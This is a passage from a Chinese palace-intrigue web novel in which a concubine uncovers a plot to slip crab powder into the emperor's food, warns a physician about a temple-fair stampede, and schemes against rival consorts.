“有藕粉、桂花糖、面粉、芋粉、糯米粉……”团圆一边细细品着,一边疑惑地看向众人,最后慢吞吞地补了一句,“还加了一点……蟹粉。”
“蟹粉!”李德安脸色骤变,“陛下自幼碰不得海物,这东西怎会进到御膳里!”
既找到症结,事情便好办了。
“我分明交代过,陛下绝不能沾海货!”李德安一把拽起那小宫女,道,“你难道没有向御膳房说明这些情况。”
“奴婢刚刚进宫,不知道这些……”小宫女吓得扑通一声就跪在地上。
“胡言狡辩,只要是进养心殿的宫人,每个人都会收到禁忌单子,你如何会不知,分明自己疏忽了。”李德安说着,立命站在门口的敬喜将她拖下去审问。
宫女连连喊冤,声音渐远。
楚念辞心中虽有一丝不忍,却也无可奈何。
深宫之中,即便是疏忽大意往往就要付出代价。
知道了病因,章太医迅速寻准穴位下针。
不过十几息,楚念辞忽见端木清羽搭在床沿的如玉石一般右手动了动。
她立刻上前跪在他的床前。
李德安也察觉了,连忙凑了过去。
只见皇帝面色虽仍苍白,眼皮却已轻轻颤动。
少顷,端木清羽虚弱地睁开眼,看了看李德安与楚念辞:“朕……这是怎么了?”
“奴才等失察,让陛下膳食之中,误入海货,方才晕厥过去,是奴才的罪过。”李德安说着便撩袍跪下,将刚才的事情说了一遍。
众人也跟着俯身。
端木清羽冷厉眸色倏地一暗,沉默片刻,似在思索。
然后挥挥手,示意章太医与团圆退下。
章太医叩首之后,徐徐退下,团圆也跟着退下。
偌大的华殿里,只剩楚念辞、李德安。
边上的铜漏嘀嗒嘀嗒地响。
“陛下龙体欠安,今晚……便不翻牌子了吧?”李德安一边低声请示,一边又细将蟹粉的事说了。
很快敬喜也进来汇报,他伏在皇帝的耳边低语了几句。
楚念辞跪得远,根本听不清。
良久,才听端木清羽缓缓舒了口气,看了一眼茶具,似乎想要喝水。
楚念辞连忙斟一杯茶奉上。
“食物里怎会有蟹粉?”端木清羽神智恢复眸光犀利起来,问,“谁会谋害于朕?”
想起前段时间,皇后合宫觐见时想让人给自己探查谷道。
楚念辞抿了一下唇,叩首向上奏道:“陛下,臣妾认为谁得到好处便最大便是谁。”
如今淑妃不能侍寝,镇国公府与太尉府又相持不下。
皇帝必然会选第三方,从而达到平衡朝堂的目的。
最佳的选择人群便是皇后,但皇后进入养心殿还需要一个名分。
而皇帝生病前来侍寝,就是最好的遮羞布。
端木清羽眸光微闪,声音平静清晰地道:“朕偶感风寒,传中宫前来侍疾。”
楚念辞心头一跳。
果然陛下与自己想的一样。
怀疑蟹粉有皇后的手笔!
她后背不由微微发凉,皇后在桂花藕粉糖糕里下了蟹粉,自己只是怀疑,陛下如此,肯定不是怀疑,而是有确凿的证据。
皇后果然心思缜密。
可惜她心思再缜密,也轻视了如今的这个小皇帝。
小皇帝能在三年内坐稳了皇位,他洞察力已经到了洞若观火的地步。
而且明明知道的始作俑者,皇帝竟然引而不发。
让皇后以侍疾为由入养心殿,既安抚了镇国公府,又压了太尉的气焰,更将淑妃那边的矛头引回了皇后身上。
一石三鸟。
楚念辞想起方才在红木匣边闻到的幻情花香,心中不由冷笑。
这东西服下去,不用真的圆房,脑子里就会产生与男子欢好的情景。
最妙的是早晨醒过来,由于当时意乱情迷动作粗鲁,往往还身上留有自己抓下痕迹。
更让人深信不疑。
皇后不容他人抢先侍寝,让俏贵人设计淑妃不能承宠,又设计在皇帝的御膳里下了蟹粉。
皇后如此处心积虑,殊不知陛下早就准备了幻情花。
所谓承欢雨露,不过是一场幻梦而已。
第42章 结缘章太医
端木清羽说完,又补了一句:“皇后喜欢桃花酿,记得备上。”
敬喜应声,转身进里边捧出那个红木匣子,跪在一旁。
楚念辞只垂着头,一眼也没往那边瞧。
端木清羽身子微晃,重新躺了回去,目光疲倦扫过眼前三人……
“今夜的事,”端木清羽看着卷草纹龙鳞帐顶,声音平静,却带着不容置喙的意味,“到此为止。”
冷冽话音刚落,他又咳了几声,令人将太医与团圆宣了进来。
楚念辞偷眼看了他一眼,却见他两指轻轻摩挲着的手指上玉扳指。
她忙恭敬回答,团圆懵懵懂懂应是,章太医垂首应下。
唯有李德安不慌不忙地应了一声,又叩首道:“老奴这就让人去传皇后。”
说完他转头看着自己徒弟敬喜一眼,敬喜磕了个头,匆匆退出去传皇后了。
楚念辞心思微转就明白了意思。
端木清羽刚刚坐稳帝位。
最希望的是维持稳定,不追查、不深究,对今晚的事保密是为了维护宫闱表面的平和。
端木清羽咳声渐歇,苍白的额上却又沁出一层薄汗,微微闭上眼睛。
楚念辞忙上前取出手中的帕子,替他轻轻擦拭。
少女袖口?2?1香和丝绸柔滑的触感让他紧紧蹙起的俊眉轻轻松开。
李德安见端木清羽神情松弛,忙道:“今日多亏慧常在机警,否则事情闹大,怕不好收拾。”
说完,他便将刚才的事仔细重说了一句,连细节都说得栩栩如生。
端木清羽睁开望向她时,明厉双眸里已添了一丝温和:“没想到这么快就用上你,你自己说说,想让朕赏些什么?”
楚念辞赶紧躬身:“臣妾不敢居功,陛下是真龙天子,自有天佑,方能逢凶化吉,臣妾所做皆是借了圣上的福运,并不求什么名分赏赐。”
她特意在“名分”二字上放轻了声音。
不是不想要名位,只是自己刚刚封了常在。
此时若再晋位份,难免六宫侧目,自己难免成为众矢之的。
以目前自己的实力和皇帝与他情分来看,卷入嫔妃之争,实在不智。
而且这点功劳不足分封到什么高位份,她可不想过早成为众矢之的。
低阶嫔妃,低贱若泥,凭谁都能踩上一脚,她可不想落到如斯境地。
端木清羽看了她一眼,似笑非笑。
他闭目静了片刻,才望着帐顶的龙纹缓缓道:“你倒识大体,既然不爱名,朕便在利上赏你罢……慧常在助朕查明病因,赐龙纹玉佩一枚、玲珑玉石假山盆景一座,明珠点翠头面,另加白银五百两。”
楚念辞心头一跳。
其他赏赐倒也寻常,唯独这龙纹玉佩极为难得。
此物向来只赐高阶女官,如同宫中一道“护身符”,持佩者见妃位以下无需行跪礼,只需福身即可,这般殊荣,向来只有妃位才能享有佩戴。
她眼底漾开惊喜,端正跪下谢了恩。
连忙跪得端端正正地谢恩,“谢主隆恩~”声音柔柔的,还拖了个甜丝丝的尾音。
端木清羽缓了口气,目光转向团圆。
瞥见她身上那身末等宫女的衣服,便和煦地说道:“慧常在很会教人,连身边的宫女都这么忠心机灵,念这次有功,从末等宫女升为三等宫人吧,听说她尤好美食,以后每顿饭多给她加一道菜。”
团圆听得多家一道菜,惊喜地一抬头,差点被他俊美的笑闪瞎眼睛。
从进殿起,就被满屋子亮闪闪的摆设与品类繁多的甜点,迷花了眼,又被小皇帝这一笑,弄得她整个人都懵懵的。
一时还没反应过来,忘了谢恩。
直到楚念辞悄悄拉了她一下,她才赶紧“砰砰”磕头谢恩。
“行了,都退下吧。”端木清羽轻轻摆了摆手,只留下李德安在身边,其他人便都退了出去。
楚念辞退出殿外时,夜风卷着细雪,吹得檐下铜铃轻响。
下雪了。
纷纷扬扬的雪花似一片片羽毛似的飞舞,团圆忙劝道:“小主,下雪了,咱们赶紧回去。”
楚念辞点点头。
明天就是腊八了。
章太医从旁经过,目光在她身上停了停,透着几分思量。
经了昨天与今夜这两桩事,他再迟钝也瞧出来了……这女子通晓医术,且造诣不浅。
只是她这身本领从何而来?
他心里好奇,却也不敢多问帝王身边的女人,略一颔首便朝外走。
“章太医。”楚念辞轻声唤住他。
老太医转身,脸上带了些许意外,仍是躬身行礼:“慧小主有何吩咐?”
楚念辞记得清楚……上辈子,楚舜卿曾提过,这位老太医后来突然辞官还乡。
之后在贵眷宴席间才隐约听说,是因腊八节庙会人潮拥挤,章太医的妻女不幸遭踩踏身亡。一夜白头,心灰意冷,太医院从此少了一位镇得住场的良医。
若他还在,端木清羽的病或许不致恶化得那样快。
如今她想帮皇帝,一来对方未必信她,二来也难有机会。
眼下最实际的,便是盼着这位老太医的家人能平安度过明日,况且这位老太医的夫人,还是宫中最好的接生婆。
提前打好关系,可以被备不时之需。
楚念辞神色温婉,语气轻柔:“您是正三品太医,我不过六品常在,按礼不该受您的礼。”
话虽如此,章太医明白,宫中人哪真敢与皇帝的女人论品级。
章太医只恭敬道:“慧小主客气了。”
“这雪瞧着不小,明日便是腊八,听说外头有庙会施粥、烧香供奉?”楚念辞似不经意地问。
“是。”章太医点
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头,这两天他唯一的女儿闹着要去庙会,他心里正犹豫是否让妻女前去。
楚念辞不再看他,转而轻声对身旁的团圆道:“听说江南临县有一年腊八闹过火灾……”
“是呢,”团圆立刻点头,小脸微白,“说是抢供粥和祭肉,人挤人,踩死踩伤了好多人……”
话音轻轻落在雪夜的风里。
章太医脚步一顿,后背霎时沁出一层冷汗……
他怎么就忘了,腊八庙会年年人潮汹涌,每年为抢供品挤踏伤人的事并非没有先例。
若真让妻女去了那般险地……
他在太医院多年,官场沉浮间早练出几分敏锐,怎会听不出对方话中的提醒。
可他与这位慧常在素无往来,她为何要出言点醒?
太医院消息灵通,他早知慧常在与楚内医是姐妹。
楚内医性子急、医术平平,可眼前这位,容貌绝秀却淡雅沉稳,医术见识更胜一筹。
他深吸一口气,转身快步上前,郑重一揖:“多谢小主提点。”
楚念辞唇角微弯,抬眼时眸中却流露出恰如其分的讶然:“章太医言重了,若明日庙会真有骚乱,济民署忙不过来,少不得还要劳动您,若能早些与巡防营递句话,防患于未然,岂不是两全?”
章太医心中明了,再度拱手:“小主仁心,老臣这就去与巡防营打声招呼。”
楚念辞轻轻颔首,不再多言。
入宫这些年来,章太医见惯了嫔妃们争宠算计、彼此倾轧,各种手段层出不穷。
像这般存着悲悯之心关心贫苦百姓,甚至愿意提醒一个无关之人的,他还是头一回遇见。
深宫之中,竟还能保有这般善念,实在难得。
这份情,他默默记下了。
“多谢慧小主。”他声音压低。
楚念辞眉眼温婉,仿佛只是随口一提:“章太医谢我做什么?是您心系百姓,若能安安稳稳过个腊八节,京中百姓都会念您的好。”
老太医闻言,不由动容:“老臣在太医院当差多年,少见宫中主子还惦记民间疾苦,小主这般善心,定会福泽绵长,多子多寿。”
楚念辞嘴角微翘:“承太医吉言。”
她给了他一个平安。
而他会回报自己,多子多福。
章太医又施一礼,官场上混迹多年。
他明白在宫中能生存的人,绝不会如表面上般单纯,但守住一份初心,才更显得难能可贵。
雪仍静静落着,他再度躬身这才转身朝宫道另一头匆匆走去。
楚念辞携着团圆走下金阶,就听远远隐隐一阵阵脚步声由远及近,她抬眼便见皇后蔺景瑟乘着凤辇匆匆而来……
蔺皇后端坐轿中,脸上尽是得意。
楚念辞心中微微讥笑,这皇后还不知道,今晚,等着她,不过是一场梦,一场羞辱。
第43章 打翻了后宫几坛醋
两行宫娥举着宫灯,摇曳的烛光映着皇后微微扬起的下颌。
她唇角带笑,眼中尽是藏不住的得意与兴奋。
雪貂大氅风毛拂起,露出内穿月白绣银常服,刚沐浴过的头发也只简单绾了个髻。
坐上皇后这位子,就是众矢之的,既然避无可避,便无须再避,为了尽早怀上龙嗣,把后位坐稳,她不惜投靠太后,不惜在陛下的饮食中留下了禁忌之物。
而且算准了剂量,加之有章太医,不会致命的,又下得极其隐秘,就算查出来,也是宫女疏失,绝对查不到她的身上。
陛下若是不能宠幸淑妃。
便要夹在太尉府和镇国府中做一个抉择,这时候若是再闹出**的事。
便是天翻地覆的大案,她赌陛下不会冒这个险,赌对了。
楚念辞望着皇后快步迈上金阶,嘴角浮起一丝讥诮。
任你步步算计,也不过是端木清羽局中一子罢了。
眼下小皇帝龙椅刚刚坐稳,他绝不会让任何人怀上子嗣,破坏他的稳定局面。
所谓侍寝,不过是一场镜花水月的梦。
楚念辞回到暖晴阁,由团圆伺候着安然睡下。
闭眼前,她眼中浮现出那位风华绝代又心思难测的少年帝王。
在这位皇帝眼里,后宫女子无非三类……棋子、生育之具,或是维系前朝平衡的摆设。
她不想做这三类中的人。
若想真正与众不同,必得变成他的心尖尖。
她并不天真,皇帝会与自己来一场缠绵悱恻的爱情。
这是不切实际。
自己虽有些容貌智慧,家世却太过微薄。
况且她进宫目的,不求真心实意,只图荣华富贵,不求一心人,只图及时行乐。
只要宠就够了,不涉爱情。
好在天赐良机,让她得以近身伺候。
一段日子观察下来,陛下平时上朝改奏折,剩下的时间,多半会在梅坞那边去打马球,蹴鞠、沙盘室。
好在这三样自己以前都学过,下边便是寻找合适的机会,慢慢与他增进感情。
夜幕低垂开来,皇帝未翻任何牌子、只传皇后侍疾的消息,一夜之间传遍六宫。
楚念辞这边睡得安稳,别处却多是难眠之夜。
玉坤宫。
淑妃听罢绿翘的禀报,抬手便将玉梳狠狠拍在案上,“啪”一声断作两截,怒气未消,她又挥袖“哗啦啦”将妆台上一应物件尽数扫落在地。
满宫人吓得俯身低头,不敢出声。
淑妃胸口起伏,声音发颤:“又不是初一、十五,竟让皇后那老妇占了先!”
大殿内众宫人吓得噤声无言。
绿翘是从小就伺候她的丫鬟,年龄略长些,成熟稳重又兼生得白皙俊俏,到底有些脸面,便跪在地上劝道:“娘娘息怒,陛下只是传她侍疾罢了……”
“虽本宫身子未净,若只是侍疾,为何不传我?”淑妃冷笑,“分明是借侍疾之名,行侍寝之实!”
“陛下心里装的定是娘娘您啊,”绿翘连忙指向一旁高大的紫水晶香炉与满盘的珍宝,“您瞧,这才刚入宫,陛下便赐下这般珍宝,平日也常来探望……”
淑妃坐在铜镜前,望着镜中那张雍容华贵的脸,渐渐褪去厉色,眼中浮起一层莹莹泪光:“绿翘,除了皇后,其他几个都比我年轻,一个个娇嫩得像花……你说,清羽哥哥会不会嫌我老了?”
“娘娘才十七,正是牡丹盛放的年纪,那些野花闲草哪能和您比?”
淑妃轻抚脸颊,喃喃道:“爹娘就我一个女儿,都劝我嫁与雍王为正妃……可我宁为他妾,也要入宫。”
她声音渐低,似陷回忆。
“当年我才十二,与他在梅花树下初遇,我便再也忘不了他了,哪怕沦为京城笑柄,也求着爹娘送我进来,我知道现在这个皇后不是他亲自选的,嫁入宫中月余也未圆房,只要我生下皇子,便能将那老妇赶下去,坐上凤位,做他名正言顺的妻子,执子之手,白头偕老……”
她忽又攥紧手心,指甲掐进肉里:“可皇后竟生生把我的梦给打断……就算不为后位,她抢了清羽哥哥的初夜,我也绝不能容她!”
绿翘知淑妃用情至深,恨皇后占着正宫名分,更恨她还抢了先,无论如何说,也是无用。
只好无言陪着垂泪。
过一会,方低声劝道:“娘娘且忍一时,皇后背后毕竟有太后撑着……”
“你叫本宫生生忍着?”淑妃咬牙。
“眼下动不得皇后,却可先剪她羽翼,待她势孤力薄,再收拾起来岂不易如反掌?”绿翘抬眼,轻声道。
“陛下今夜召她,不过是顾全太后颜面,论家世容貌,她连给您提鞋都不配,凤位迟早是娘娘的。”
淑妃神色稍缓,眸中掠过一丝冷光,道:“便让她先侍寝又如何?还得看她肚子争不争气。”
“现在各宫情况如何?”
秦振兴恭敬道:“嘉妃在气地练了桃花鞭,悦嫔绣了香帕,斓贵人倒是早早地熄了灯,而俏贵人与白嫔的宫室,不知砸碎了多少瓷器。”
“呸!就凭她们也敢惦记,“本宫月事来得太蹊跷,到底哪个**害得本宫痛失侍寝机会?”她问身边太监道。
“娘娘,”大太监秦振兴连忙道,“奴才您这次月事紊乱与查出白嫔或俏答应有关,这俩人恐是皇后的羽翼。”
“啪”淑妃一拍桌子问,“梅坞祈舞的事,进行得怎么样?”
秦振兴垂首道,“皇后嘉妃不见动静,倒是这两天,听见白嫔宫人过来打听。”
“老虎没打着,倒逮着个狐狸,”淑妃狠狠一拍桌子道,“先收拾这几个狐媚子。”
永福宫左侧殿,陶然阁。
炉火哔剥作响,暖意融融。
白嫔白芊柔只着一袭银绣白色中衣,素手执金剪,正细细修剪一盆青松盆景。
可剪枝的手,微微颤抖,一下子将一片好枝错减下来。
身旁站着从小伺候她的大宫女雁容……这是太尉府特意为她挑选的陪嫁,身形结实,长脸细目姿容秀丽,行事利落。
“小
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主,”雁容轻声说着,长眉间却带着忧色,“满宫都盯着呢,谁能先承宠,谁便招人怨,反正您正拘着,也不能侍寝,传了皇后侍疾,岂不是正好。”
白芊柔放下剪子,那张惯常天真娇憨的脸上,已经漫上了一丝怒气。
“淑妃暂不能侍寝,祖父为了本宫的事情已经上了折子,本以为陛下看在他老人家的面子上,会放我出去,”她语气已慢慢平缓,“谁承想,最后竟是皇后占了先。”
“怕是老爷在朝中折子上急了,反而让陛下起了戒心……”雁容低声道。
“本以为在淑妃的药中下催经药,以我的家世便足以出头,”白嫔眸色冷冷,“没料到皇后半途插了进来,不过这样也好……淑妃那头,自然恨毒了皇后。”
雁容上前低声道:“小主,还有件事,四执库的暗线传来的,奴婢核实过,陛下确实病了,皇后和淑妃都派人去祈元殿焚香祝祷。”
白嫔捏紧手中杯盏,沉默不语。
放眼后宫,她真正视为对手的,只有镇国公府的嘉妃。
淑妃虽嚣张,却从未入她的眼,而且她现在不能侍寝。
家中近日已传信催促:必须赶在顾轻眉之前侍寝得宠。
把玩许久,她终于抬眼,神色渐定:“钦天监有我早年埋下的棋子,让他替我算算,若我生辰与陛下无冲,便备些祝祷之物,去梅坞附近祈福。”
“即便宫中不许烧纸,跳跳祝祷之舞总不犯禁,”她语气转冷,“若真无问题,这次必须孤注一掷。”
雁容稍怔:“娘娘,为何非去梅坞?在咱们自己宫中不行吗?”
白嫔笑得幽冷:“在自己宫里,谁能看见,本宫祈祷何用,梅坞就在鞠场附近,听闻陛下常常蹴鞠,本宫要的是万无一失,必须让皇上亲眼看见。”
雁容垂首:“是,奴婢明白了。”
“还有,处理掉斓贵人的事准备得怎么样?”白嫔问。
“都已经准备妥当了。”雁容道。
“本宫这次一箭双雕。”白嫔阴狠地握着剪刀说,天真稚气的脸上只有一片阴寒。
雁容默默退下,回到自己房中,从柜子深处摸出一个小瓶。
她盯着瓶子,手有些发颤……里面装着一只剧毒蜱虫,一旦放出咬人,便会让人溃烂毁容。
她怂恿白主子献舞,本就不只为了争宠。
耳边又响起府里传来的密令:即便折了白芊柔,也必须把白家名声转过来。
如今唯一的办法,就是让她成为受害者,最好凄惨可怜,才能盖过从前那些不堪的名声,替将来嫡小姐入宫铺好路。
可……毕竟伺候了白主子这么久,雁容实在狠不下心。
正恍惚时,一同进宫的雁秋推门进来,笑道:“姐姐怎么还不歇?是不是家里捎了信儿,高兴得睡不着?”
雁容浑身一凛。
是啊,家里。
爹娘和兄弟都还是白府的奴才,她哪有选择的余地?
“没事,这就睡了。”她低声应着,悄悄把瓶子塞进了衣袖里。
第44章 楚念辞反击白嫔
翌日,是个大晴天,流水般的赏赐送进了暖晴阁。
楚念辞瞧见红木桌上搁了满满一箱子金银锞子,还有不少镯子项链之类的东西。
饶是她向来手头宽裕,乍见这么多黄白之物,也不由得眼睛一亮,心头跟着热了热。
团圆抱着那箱子,激动得比见到端木清羽本人还甚,连连咽着口水笑道:“天刚亮,陛下就让敬喜公公把赏赐送来了。”
楚念辞起身下榻,着迷地摸了摸一只沉甸甸的金锭,笑吟吟道:“陛下可真懂我。”
不给银票给金子,实在更合她心意。
团圆笑得见牙不见眼:“陛下这一赏,咱们库里反倒多出五百两来!”
她这两日升了大宫女,得了养心殿一半宫人的奉承,眼睛都快眯成缝了:“跟着陛下吃穿不愁,银子也花不完,陛下真是人美心善,万寿无疆!”
楚念辞只笑了笑……你是没见他摘下面具的时候。
两人正说着,满宝凑过来闲话:“小主不知道,坤宁宫这几日可热闹了。”
她们是御前的人,除了阖宫请安,平日不必去皇后那儿,只能从别人嘴里听动静。
楚念辞饶有兴致:“说说。”
“皇后娘娘算是守得云开见月明了,听说侍疾时还承了宠,元帕……落了红。”满宝一边剥着**栗子,一边道。
楚念辞心里一惊。
幻情香确实能惑人心智,可怎么会落红?
以端木清羽那股洁癖又执拗的劲儿,皇后根本近不了他的身。
角先生。
她忽然想起刚入宫时听岚姑姑提过,前朝有太监宫女结对食,行云雨之事时,太监往往力不从心,那时宫中便悄悄流传着“角先生”的说法……有木的、玉的,甚至铁制的细长物件。
想到蔺皇后可能是被人用那东西伺候了,楚念辞后背一阵发凉,却也生不出同情——这终究是她自己求来的。
“……连太后都给了赏。各宫娘娘心里再酸,面上也得送礼。”满宝继续道,“别的倒也罢了,独独淑妃送得最打眼,一柄如意**团扇,外加一大盆金灿灿的橘子。”
楚念辞听罢,只微微一笑。
明眼人都懂:扇子谐音“散”,橘子看似寓意多子,在民间却也有“绝子”的暗指。
“听说皇后当时脸都青了,众妃还围着装傻夸个不停呢。”
集宠于一身,便是积怨于一身。
“淑妃自幼认识陛下,原以为能入主中宫,却被皇后抢先,心里哪能痛快?”满宝又道,“以淑妃的家世,便是当面给皇后没脸,皇后也得忍着——这就是出身给的底气。”
文官之首,终究比掌兵的武将更让皇帝放心。
她敢这般张扬,正因为文官无兵权,再闹也不至于触动帝王忌惮。
莫说满宫妃嫔,连楚念辞有时也不免羡慕淑妃这般倚仗。
可家世只能定前半生,改不了命数。她信在这宫里,凭家世只能安稳一时,真想挣出前程,还得靠自己的谋算。
满宝又凑近些,先看了眼主子脸色,才低声道:“小主,白嫔今日放出来了。听说是皇后向太后求的情,说再过一月便是除夕,总关着人不吉利,太后准了,白嫔一早就去坤宁宫谢恩了。”
他撇撇嘴:“那位最会装无辜,一个劲儿抹眼泪喊冤枉,拼命巴结皇后,眼里压根没旁人。好些娘娘脸都气绿了,可皇后明里暗里护着,谁也不敢作声。”
楚念辞有些意外……没想到这么快。
她早知道以太尉府的势力,白嫔迟早会出来,可眸色还是沉了沉。这里头少不了太尉的使劲,有家世到底不一样。
“淑妃呢?”楚念辞问,“她那脾气,能容白嫔在跟前张狂?”
“说来也怪,淑妃只当面刺了她几句,便没下文了。”
楚念辞眸光微敛,心里已明白了七八分。
团圆鼓着腮帮子纳闷:“淑妃娘娘转性了?”
“暴风雨来前,海面总是格外平静。”楚念辞语气淡淡,“这几日都警醒些,咱们不惹事,但也别被谁拖下水。”
满宝低头应了声,又道:“小主,白嫔的宫女这两日在悄悄置办祝祷用的衣物。”
上钩了。
前几日,她便让满宝去四执库透了话。
只说陛下圣体微恙,曾梦见紫微星旁有红光闪烁,主有吉人可化解厄运,若有人愿在梅坞设净地祈福,或跳祭舞祝祷,或能得天道庇佑,必有重赏,说不定还能得侍寝的机会。
楚念辞心中冷笑。
白嫔,你就等着吧。
先孝贤皇后的忌日快到了。
你若是安分便罢,若真想争宠……在烧纸祭祀前跳舞,那“盛宠”你可要接稳了。
这计策其实简单,明眼人都能看穿。
白嫔若是平时,未必会中计,可她如今连让太尉府向陛下施压的昏招都想得出,早就被侍寝的念头冲昏头了。
此时,门口珠帘忽地一响,伴着一声清亮带笑的话音:“辞姐姐,满宫乱纷纷的,你真能躲清静。”
楚念辞一听便笑了,一听那声音,不是沈澜冰还有哪个。
她让团圆去迎人。
帘子挑起,一位宫装丽人缓步走进,脸上笑意温煦。
沈澜冰披着件红狐**滚边大氅,身后跟着的红缨上前替她脱下,露出里头天青色褙子与墨色百褶裙,雅致大方。
楚念辞含笑起身。
按位分,她本该出门相迎,可两人自幼相识,情分不同,这些虚礼便也免了。
“冰儿,路上积雪还没清干净,你怎么亲自来了?”她上前拉住沈澜冰的手,触手一片冰凉,忙吩咐满宝将炭盆拨旺些。
“我不来,你也不去看我呀。”沈澜冰轻轻点了点她的鼻尖。
“我不过是贪个清静……”
“什么清静,分明是忘了我,”沈澜冰笑睨她一眼,“今儿我来瞧瞧姐姐,若有打扰,姐姐可别怪我。”
楚念辞挽着她一同坐下,只一眼,便瞧见沈澜冰眼下那圈淡淡的青影。
只怕这几天,深宫寂寂,兼之思念帝王,害了相思。
沈澜冰容貌身段皆属上乘,即便放在美人云集的后宫,也算出挑。
可惜若引不起帝王注目,终究是要被埋没的。
后宫难有真姐妹,可两人自小的情分总归不同。
楚念辞心下有些发涩,连她这般自恃清高的人,也得在这深宫里费心钻营……面上却只作不知,笑容依然亲切。
“听说你住在毓秀宫,我原该早去瞧你,倒劳你亲自跑一趟,真是过意不去。”
“是我来叨扰姐姐了。”沈澜冰柔声道。
团圆奉上热茶,低头退到一旁,满宝机灵地退到门口,守着房门。
楚念辞望着她,眼中带着几分了然的笑意。
“妹妹今日过来,可是有什么事?”她明知故问。
“阿辞如今越发会打趣人了,”沈澜冰嘴上嗔着,神色却有些闪躲,“难道我就不能单纯来看看你?”
话虽如此,她眼底仍不经意掠过一丝黯然。
后宫女子这么多,若不想些办法,恐怕连皇帝的面都难见到。
如今前头挡着皇后与淑妃,想要得一份注目,唯一能求的,也只有昔日这位交好的姐妹了。
想着自己还要用如此不齿的手段,不知不觉她脸红了。
楚念辞就等着她下文,半天不见他开口,便目光灼灼地盯着她。
“你只盯着我看作什么?”沈澜冰被她看得不好意思。
“看美人啊。”楚念辞笑嘻嘻道。
沈澜冰脸一红,嗔怪地背过身去。
“哎,别装了,你我还有什么话不能说的?”楚念辞伸指点点她的手,“你若不说,我也没办法帮你。”
沈澜冰无奈,转过来看着她,虽还是绷着脸,那双清艳的眼睛里却尽是羞怯。
片刻之后,沈澜冰将一只精致的同心结香囊,放在她手上。
“阿辞,若是方便的话,请你帮我把这个送给陛下……”她声音已经小到只有自己能听见。
什么?你再说一遍。”楚念辞故意装作没听清,眨着眼逗她。
“是……送给陛下的。”沈澜冰耳根都红透了。
楚念辞仍歪着头,一脸无辜:“啊,送什么?”
沈澜冰羞地站起身就要走,楚念辞忙拉住她,凑到她耳边轻声道:“妹妹既有这份心,何不亲手交给陛下?”
沈澜冰怔了怔,眼底漫开一片怅然:“皇后娘娘真贤惠,日日能伴在陛下身侧……我却是连见一面都难。”
说完,她眼中默默漾开一片惆怅。
楚念辞不吱声了,接过来细看。
那是只双面苏绣的同心结香囊,上头金线绣的龙栩栩如生,连龙眼处都用了
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十几种丝线,活灵活现,仿佛真能望过来一般。
里边香料用的是江南薰衣草、茉莉花、薄荷、三角梅等驱虫之物,并无端木清羽的禁忌之物,可三角梅会引起许多人过敏,想起前几天,陛下还因为误食海物过敏,她便将三角梅的花瓣一一捡出。
光绣工便不知要费多少日夜,更别说这珍贵的珠络。
想来她从见到端木清羽那日起,便一针一线开始准备了。
“冰儿,”楚念辞轻叹,“何必用这双面绣……陛下又瞧不见里头,何必费这样大工夫?”
“他瞧不见是他的事,”沈澜冰脸颊仍红着,语气却轻柔而坚定,“我尽了心,便够了。”
楚念辞心头微动,将香囊轻轻握在手中:“我明白了,我会设法,让它送到陛下眼前,一定将妹妹的情谊带到。”
她是真的用了情,才会这般不问结果、一往情深。
楚念辞心中轻叹……她自己历经前世种种,早已做不到这般毫无保留地倾付真心。
可那样心思深沉、喜怒难测的帝王,又怎会珍惜沈澜冰的一片痴情?
话到嘴边,终究咽了回去。
用情至深的人,是劝不回的。
沈澜冰素日也是个清醒理智的,为何偏偏在情字上如此执迷?
或许这世上最难解的就是“情”之一字。
楚念辞原只想试探她用了多少心,却不料竟已深至如此。
见她垂眸不语,沈澜冰轻声开口:“姐姐……可是觉得我傻?我知道,可我控制不了。”
楚念辞抬眸,压下心头无奈,换上亲切笑容:“冰儿今日来看我,原来是为了这个,有了陛下,便将姐妹情谊抛到九霄云外去了?”
“瞧你说的,”沈澜冰脸又红了,伸手轻戳她额角,“我怎会忘了姐姐?红缨,快把我给姐姐备的礼拿来。”
红缨见旧主,眼睛早红了,笑着行了礼道:“早想来见小主,可宫中规矩实在太多,总也不便,大舅让我给你带句话,家里一切都好,您的药也已经送去了江南,让你一切都放心。”
楚念辞笑着点了点头。
红缨又捧上一只锦匣,里头是一对水头极好的翡翠玉佩,莹润通透,显然价值不菲。
楚念辞眼中掠过一丝无奈……这般贵重,她不能收。
“妹妹偏心,”她故意板起脸,“送陛下那么精巧的香囊,送我却是这等俗物。”
沈澜冰果然急了:“我、我只备了这个……姐姐想要什么,我定去寻来。”
“我就要妹妹身上那只。”楚念辞指了指她腰间那个用料普通、却绣工细致的旧香囊。
沈澜冰微微一怔,随即解下递给她,眼神柔软:“这个……是我从前绣着玩儿的。”
楚念辞接过,嗅了嗅味道,除了珍贵的三角梅没有,其他的东西都一样。
却又故意蹙眉:“可我与陛下不熟,无缘无故的,怎好送他东西?”
“谁让你当面送了?”沈澜冰倾身靠近,声音轻轻的,“你悄悄送,他若问起,你便提一句……若不问,你就拿回来。”
说到后半句,她声音渐低,耳尖又染上绯色。
楚念辞见她羞恼模样,不忍再逗,想着自己张好陷阱。
怎能不去亲自收获猎物呢?
于是展颜笑道:“好了,不与你说笑,今儿天色好,咱们别闷在屋里,去梅坞蹴鞠可好,今天陛下在鞠场,我带妹妹去见见,以慰相思之苦。”
沈澜冰眼睛一亮,但又怅然羞怯,暂且被笑意掩了过去。
临出门前,楚念辞换上一件紫青色风毛斗篷,而团圆也穿了三等宫女的青蓝色服饰。
楚念辞闻言,点头,带着几人出殿,直奔鞠场。
雪后初晴,宫殿飞檐上积着皑皑白雪,宫道却已扫得干净。
二人带着侍女不多时便走到御花园后的太液池,鞠场便在附近。
远远便听得一阵欢呼。
鞠场位于宫墙西侧,原本是先帝时一处精巧的皇家殿宇,历经战乱损毁了大半。如今朝廷初定不过二十年,民生尚艰,也无人修缮,索性改成了一处鞠场。
梅坞与太液池就在不远处。
楚念辞拉着沈澜冰循声望去……
场中几人正追逐着一只皮鞠奔跑。
当中一人身着玄色箭袖常服,挺拔矫健,俊逸神飞,正是皇帝端木清羽……
第45章 齐人之福
此时的他未戴冠冕,墨发高束,一身利索的骑装,与朝堂上的威严庄重或后宫中的沉静锋利截然不同,额间带着薄汗,神情却明亮飞扬。
陪他踢球的是两名御前侍卫,还有一位英姿勃发的华服少年,一身天青色滚毛边骑装,步伐虎虎生风,紧贴在皇帝身侧追逐,显然球技不俗,几次试图断球。
“陛下接好!”
一名侍卫从斜侧传鞠过来,端木清羽侧身迎上,足尖轻巧一勾,那皮鞠便稳稳粘在他靴侧。
少年立即贴身紧逼,端木清羽却忽地一笑,身形虚晃,接连闪过两人,直带球冲到球门前……
